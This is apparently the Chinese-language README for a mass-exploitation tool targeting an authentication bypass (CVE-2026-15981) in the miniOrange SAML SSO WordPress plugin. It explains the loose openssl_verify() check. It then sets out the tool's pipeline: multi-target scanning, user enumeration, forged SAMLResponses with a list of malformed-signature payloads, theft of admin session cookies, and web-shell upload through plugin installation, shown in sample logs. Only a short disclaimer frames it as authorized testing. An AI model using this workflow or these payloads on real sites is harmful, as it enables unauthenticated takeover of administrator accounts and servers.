SAML Single Sign On <= 5.4.4 - 通过 SAMLResponse 参数实现未认证身份验证绕过
概念验证漏洞利用
畸形签名 → openssl_verify() 返回 -1 → PHP 松散转换为 true → 以管理员身份调用 wp_set_auth_cookie()
WordPress 的 SAML Single Sign On – SSO Login 插件在所有版本(包括 5.4.4 及更早版本)中均存在身份验证绕过漏洞。这是因为 mo_saml_validate_signature() 函数对 PHP 的 openssl_verify() 返回的原始三态整数执行了松散布尔检查,导致错误返回值 -1 被判定为真值,从而被视为签名验证成功。
这使得未经认证的攻击者能够以**任何现有 WordPress 用户(包括管理员)**的身份登录:只需提交一份特制的 SAMLResponse,其中包含攻击者控制的 NameID 和一个刻意构造的畸形签名值,进而触发 OpenSSL 处理错误 —— 彻底绕过验证,并最终对目标账户调用 wp_set_auth_cookie()。
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
修复方法非常简单 — 将 if ($result) 改为 if ($result === 1) — 但该缺陷的影响是彻底的身份验证绕过。
?option=mosaml_metadata 提取 Entity ID 和 ACS URL/wp-json/wp/v2/users)/?author=N)?option=saml_user_login 重定向并提取 IdP 基础 URLlxml 进行正确的 Exclusive C14N 规范化</Issuer> 之后注入签名元素openssl_verify() = -1 的畸形签名载荷wordpress_logged_in_* Cookie/wp-admin/、/wp-admin/users.php、 的访问权限Python >= 3.8
pip install requests lxml
需要
lxml才能对 SAML 断言进行正确的 Exclusive C14N 规范化。
python CVE-2026-15981.py
程序会提示您输入以下内容:
| 提示 | 描述 | 默认值 |
|---|---|---|
| 目标文件 | 文本文件路径,每行一个目标 | list.txt |
| 线程数 | 并发工作线程数(1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
每行一个 URL。如果未指定协议方案,则默认使用 HTTP。
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
每个目标依次经过 7 个带标签的阶段:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| 文件 | 内容 |
|---|---|
sms.txt | 每个已确认的管理员会话对应一行 — 时间戳、目标、用户、Cookie、Shell URL、颁发者、签名方法 |
sms_debug.json | 每个目标的完整诊断 JSON — 包括尝试次数和失败分类 |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
该漏洞利用工具附带 12+ 种专为触发 openssl_verify() = -1 而构造的签名载荷:
每种载荷均与 SHA-1 和 SHA-256 算法 URI 组合,并在开启/关闭 Audience 限制的情况下跨多个 SP 实体 ID 进行测试 —— 从而在任何 OpenSSL 版本上最大化触发 -1 返回路径的机会。
本工具严格用于经授权的安全测试和教育研究目的。请仅对您拥有的系统或已获得明确书面授权进行测试的系统使用。
未经授权访问计算机系统属于刑事犯罪。作者对因使用本软件而产生的误用、损害或任何法律后果不承担任何责任。您须自行负责确保遵守您所在司法辖区的所有适用法律法规。
作者:Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-15981 |
| 受影响插件 | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| 受影响版本 | 包括 5.4.4 在内的所有版本 |
| 类型 | 未认证身份验证绕过 |
| CWE | CWE-287: 身份验证不当 / CWE-305: 通过主要弱点绕过身份验证 |
| CVSS 3.1 | 9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 身份验证 | 无需认证 |
/wp-admin/plugins.php/wp-admin/profile.php 读取用户名和电子邮件plugin-install.php 上传插件 ZIP/wp-json/wp/v2/plugins 使用 REST API 上传插件Nx-zD 签名| 载荷 | 描述 |
|---|
0xFF * 256 | 256 字节的 0xFF — 无效的 PKCS#1 填充 |
0xFF * 384 | 384 字节,适用于 RSA-3072 密钥 |
0xFF * 512 | 512 字节,适用于 RSA-4096 密钥 |
0xFF * 128 | 较短的缓冲区,适用于较小的密钥 |
0xFF * 64 | 最小的无效填充 |
0x00 0x01 0xFF*254 | 看似 PKCS#1 v1.5,但结构错误 |
0x00 0x01 0xFF*126 | 较短的类 PKCS#1 结构 |
null_2B | 两个与 null 相邻的字节 |
rand_3B / rand_7B | 随机字节 — 触发解析错误 |
asn1_bad | 畸形的 ASN.1 DER 序列 |
ff_1B | 单个 0xFF 字节 |